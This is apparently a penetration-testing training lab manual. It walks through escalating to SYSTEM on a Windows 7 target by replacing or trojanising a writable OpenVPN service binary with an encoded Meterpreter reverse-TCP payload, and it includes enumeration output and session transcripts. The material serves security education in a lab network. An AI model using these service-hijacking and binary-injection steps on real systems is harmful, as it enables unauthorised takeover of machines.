© 2018 Caendra, Inc. - Hera For PTP - Privilege Escalation Via Services
© 2018 Caendra, Inc. - Hera For PTP - Privilege Escalation Via Services
© 2018 Caendra, Inc. - Hera For PTP - Privilege Escalation Via Services
Your machine will be directly connected to the remote target network (172.50.50.0/24).
© 2018 Caendra, Inc. | Hera for PTP | Privilege Escalation via Services 2
• Identify and exploit a vulnerable implementation that may allow privilege escalation
To guide you during the lab, you will find different Tasks.
Tasks are meant for educational purposes and to show you the usage of different tools plus
different methods to achieve the same goal. They are not meant to be used as a
methodology.
Armed with the skills acquired though the tasks, you can achieve the Lab goal.
If this is the first time you are doing this lab, we advise you to follow these Tasks.
Once you have completed all the Tasks, you can proceed to the end of this document and
check the solutions.
• Metasploit
© 2018 Caendra, Inc. | Hera for PTP | Privilege Escalation via Services 3
Since the lab is mainly focused on privilege escalation, let's assume we already have access
on the target machine. Our target machine OS is Windows 7.
As just stated, we have a working backdoor that you can connect by configuring to
Metasploit as follows:
Module: exploit/multi/handler
Payload: windows/meterpreter/bind_tcp
LPORT: 4450
RHOST: 172.50.50.10
With a working session, verify your privileges on the target machine. Obtain as much
information as possible such as software installed, services, user's privileges, groups, etc.
In the previous task, you should have gathered some useful information about the session
and the remote machine. For example, you should know that the session runs with a non-
privileged user and that the machine is Windows 7 SP1.
With the information gathered, identify a possible attack that may allow you to escalate
privileges up to SYSTEM.
© 2018 Caendra, Inc. | Hera for PTP | Privilege Escalation via Services 4
Please read the following hints only if you get stuck. Do not jump to the solution!
Some Metasploit modules may work but it is worth to note that few of them are not
reliable, since they have low or average rank. Instead of using these modules, try to gather
information about running services and think of a possible attack strategy.
Get a list of the running services as well as information about their binary paths. Do you
have write privileges on any of these paths?
• It runs as SYSTEM
• It automatically starts on boot
• Its binary is stored into a folder on which we have write privileges.
© 2018 Caendra, Inc. | Hera for PTP | Privilege Escalation via Services 5
© 2018 Caendra, Inc. | Hera for PTP | Privilege Escalation via Services 6
We have already installed a backdoor on the remote machine. To get a Meterpreter session,
let's configure the Metasploit handler module as follows:
meterpreter >
© 2018 Caendra, Inc. | Hera for PTP | Privilege Escalation via Services 7
During the information gathering phase, there are many tasks, modules and tools that we
can use. In these solutions, we will only see the only tasks and information needed to reach
our goal.
First, let us get some information about the remote machine, such as our privileges. We can
do this by running different modules and scripts such as: win_privs, getuid, winenum,
scraper and much more.
Winenum is a great module. It gathers a lot of information from the remote system and
stores them into different files:
root@kali:~/.msf4/logs/scripts/winenum/ELS-PC_20160517.3735# cat
net_localgroup_administrators.txt
Alias name administrators
Comment Administrators have complete and unrestricted access to the
computer/domain
Members
-------------------------------------------------------------------------------
Administrator
els
eLS_Admin
The command completed successfully.
© 2018 Caendra, Inc. | Hera for PTP | Privilege Escalation via Services 8
As we can see, els_user is not an Administrator. While, from the following file we can
see the els_user groups:
© 2018 Caendra, Inc. | Hera for PTP | Privilege Escalation via Services 9
Using win_privs, we can extract some information about the current user and its
privileges. In this scenario, UAC is not enabled and we are neither Admin nor SYSTEM user:
Current User
============
Windows Privileges
==================
Name
----
SeBackupPrivilege
SeChangeNotifyPrivilege
SeShutdownPrivilege
SeUndockPrivilege
Since we are not Administrator, we have to find a way to escalate privileges to SYSTEM.
In this lab, we are not going to use any Metasploit module. Instead, we will try to exploit
service misconfigurations.
First, let's get the list of services installed on the machine. We can do this in few different
ways. For example, we can use net start:
C:\Windows\system32>net start
net start
These Windows services are started:
© 2018 Caendra, Inc. | Hera for PTP | Privilege Escalation via Services 10
Further information can be extracted using another Windows tool named wmic. In this
case, the command is the following:
As we can see, for each service, we can obtain information such as name, state, and start
mode. Note that this is just a brief overview of the installed services. We will see how to get
more information later on in this document.
Now that we have enough information about our target machine, let's focus our operations
on how to escalate privileges. We don't have a working exploit for this task. Therefore, we
have to analyze the machine and find a possible way to exploit the machine.
Hence, we could be able to escalate privileges if we find a service that has the previous
requisites.
© 2018 Caendra, Inc. | Hera for PTP | Privilege Escalation via Services 11
So, let's extract a complete overview of the installed services by running the following
command:
C:\Windows\system32>cd C:\Users\els
cd C:\Users\els
Note: Be sure to run the command in a path on the remote machine where you have
write privileges (C:\Users\els in our case).
We saved the wmic service command output into serv_list.txt so we can analyze the
results carefully from our system. So, let's download the file using the Meterpreter shell:
C:\Windows\system32>^C
Terminate channel 41? [y/N] y
meterpreter > download C:\\Users\\eLS\\serv_list.txt serv_list.txt
[*] downloading: C:\Users\eLS\serv_list.txt -> serv_list.txt
[*] download : C:\Users\eLS\serv_list.txt -> serv_list.txt
meterpreter >
© 2018 Caendra, Inc. | Hera for PTP | Privilege Escalation via Services 12
As we can see from the previous screenshots, this file contains everything we need for our
analysis. We can find the path for each service binary, as well as the associated user.
However, inspecting this file may be very tedious, so we have to find a way to filter it and
extract only the required information.
In the second screenshot, we can see that a lot of service binaries are stored in the
C:\Windows\system32 folder. Remember that one of our prerequisites is “having write
privileges on the path where the target service binary is stored”.
Usually, low privileged users, like ours: els_user, do not have write privileges on this
directory. So, if this is true, we can ignore all the services stored in system32.
© 2018 Caendra, Inc. | Hera for PTP | Privilege Escalation via Services 13
Let's check our privileges using icacls via the command shell:
C:\Windows\system32>icacls C:\windows\system32
icacls C:\windows\system32
C:\windows\system32 NT SERVICE\TrustedInstaller:(F)
NT SERVICE\TrustedInstaller:(CI)(IO)(F)
NT AUTHORITY\SYSTEM:(M)
NT AUTHORITY\SYSTEM:(OI)(CI)(IO)(F)
BUILTIN\Administrators:(M)
BUILTIN\Administrators:(OI)(CI)(IO)(F)
BUILTIN\Users:(RX)
BUILTIN\Users:(OI)(CI)(IO)(GR,GE)
CREATOR OWNER:(OI)(CI)(IO)(F)
As we can seem we have only RX (read – execute) privileges on this folder. This means
that we can ignore all the services that have the binary stored in the system32 folder.
To get a filtered list of services, we can tweak the wmic command used before. We want to
get all the services that do not have the string system32 in their binary path.
© 2018 Caendra, Inc. | Hera for PTP | Privilege Escalation via Services 14
The previous command printed out name (Name) and path (PathName) of the services that
do not have the string system32 in their PathName (string that defines the binary path of
the service).
Just as we did previously, let's save the results into a file and then download it locally:
C:\Windows\system32>^C
Terminate channel 45? [y/N] y
meterpreter > download C:\\Users\\els\\filt_serv.txt filt_serv.txt
[*] downloading: C:\Users\els\filt_serv.txt -> filt_serv.txt
[*] download : C:\Users\els\filt_serv.txt -> filt_serv.txt
meterpreter >
As we can see, the output is shorter but, we still have all the information needed.
Now we should verify the permissions for each file and folder listed in it; we should also
check if we have write permissions on at least one of these.
Note that you can create a batch file that automatically does all these steps
© 2018 Caendra, Inc. | Hera for PTP | Privilege Escalation via Services 15
While running our tests on OpenVPNService, we can see that our user has write
permissions on the folder C:\Program Files\OpenVPN\bin.
So far, we have one of the previous 3 prerequisites: write permissions. Let us check if
the OpenVPN service runs with higher privileges and if it automatically starts at boot.
We can check all of this by checking the file serv_list.txt. At line 64, we have the
OpenVPN service entry:
© 2018 Caendra, Inc. | Hera for PTP | Privilege Escalation via Services 16
As we can see, the StartMode is set to Auto and the StartName is LocalSystem. So, it
seems that the OpenVPN service matches all our requirements.
Since we have write permissions, we can replace the openvpnserv.exe file, that is the
binary executed when the service starts, with a custom exploit. Then, force a service restart
or the machine to reboot.
With the previous command, we create an exploit that tries a reverse TCP connection to
our machine at port 4460.
© 2018 Caendra, Inc. | Hera for PTP | Privilege Escalation via Services 17
Before uploading the exploit into the remote machine, let us create a backup of the original
openvpnser.exe using the mv command.
Now that the exploit has been uploaded, we need to start a handler on our machine and
then force the service to restart. So let us create and start the handler:
We know that the service automatically starts when the machine boots, so we can try to
reboot the machine.
© 2018 Caendra, Inc. | Hera for PTP | Privilege Escalation via Services 18
In order to force a machine to reboot, we can use the following command from our
meterpreter shell:
Of course, as soon as we reboot the machine, we lose our Meterpreter session but after a
few seconds (once the remote machine starts again) we can see that the new handler we
created starts working. We got a new Meterpreter session with SYSTEM privileges!
That is great! The exploit works but after few seconds, the Meterpreter session dies.
meterpreter >
This happens because Windows tries to start the service (our exploit is executed) but it
fails. By default, if the service does not successfully start, Windows kills it and we lose our
session.
© 2018 Caendra, Inc. | Hera for PTP | Privilege Escalation via Services 19
To avoid this, we can use different approaches:
2. Once got a session, run manually the command migrate. In this case, we need to be
very fast!
3. Inject our payload into the original binary (openvpnserv.exe). This will allow us
to get a new session while the OpenVPN service still works in background.
Let us see how to inject our payload into an existing binary, that is the alternative #3.
First, we need to download the original openvpnserv.exe locally. We can do this by using
our first Meterpreter session:
© 2018 Caendra, Inc. | Hera for PTP | Privilege Escalation via Services 20
x86/shikata_ga_nai succeeded with size 603 (iteration=9)
x86/shikata_ga_nai succeeded with size 630 (iteration=10)
x86/shikata_ga_nai succeeded with size 657 (iteration=11)
x86/shikata_ga_nai succeeded with size 684 (iteration=12)
x86/shikata_ga_nai succeeded with size 711 (iteration=13)
x86/shikata_ga_nai succeeded with size 738 (iteration=14)
x86/shikata_ga_nai chosen with final size 738
Payload size: 738 bytes
As you can see, with msfvenom we can inject and encode the payload into an existing
binary.
First, we need to start the handler once again before we reboot the machine.
Now, let's copy the new openvpnserv.exe file back into the remote machine from the
existing meterpreter session, and reboot the machine once again:
After the reboot our exploit works fine and the connection is stable! Moreover, we have
SYSTEM privileges!
© 2018 Caendra, Inc. | Hera for PTP | Privilege Escalation via Services 21
[*] Current server process: openvpnserv.exe (1372)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 2372
[+] Successfully migrated to process
© 2018 Caendra, Inc. | Hera for PTP | Privilege Escalation via Services 22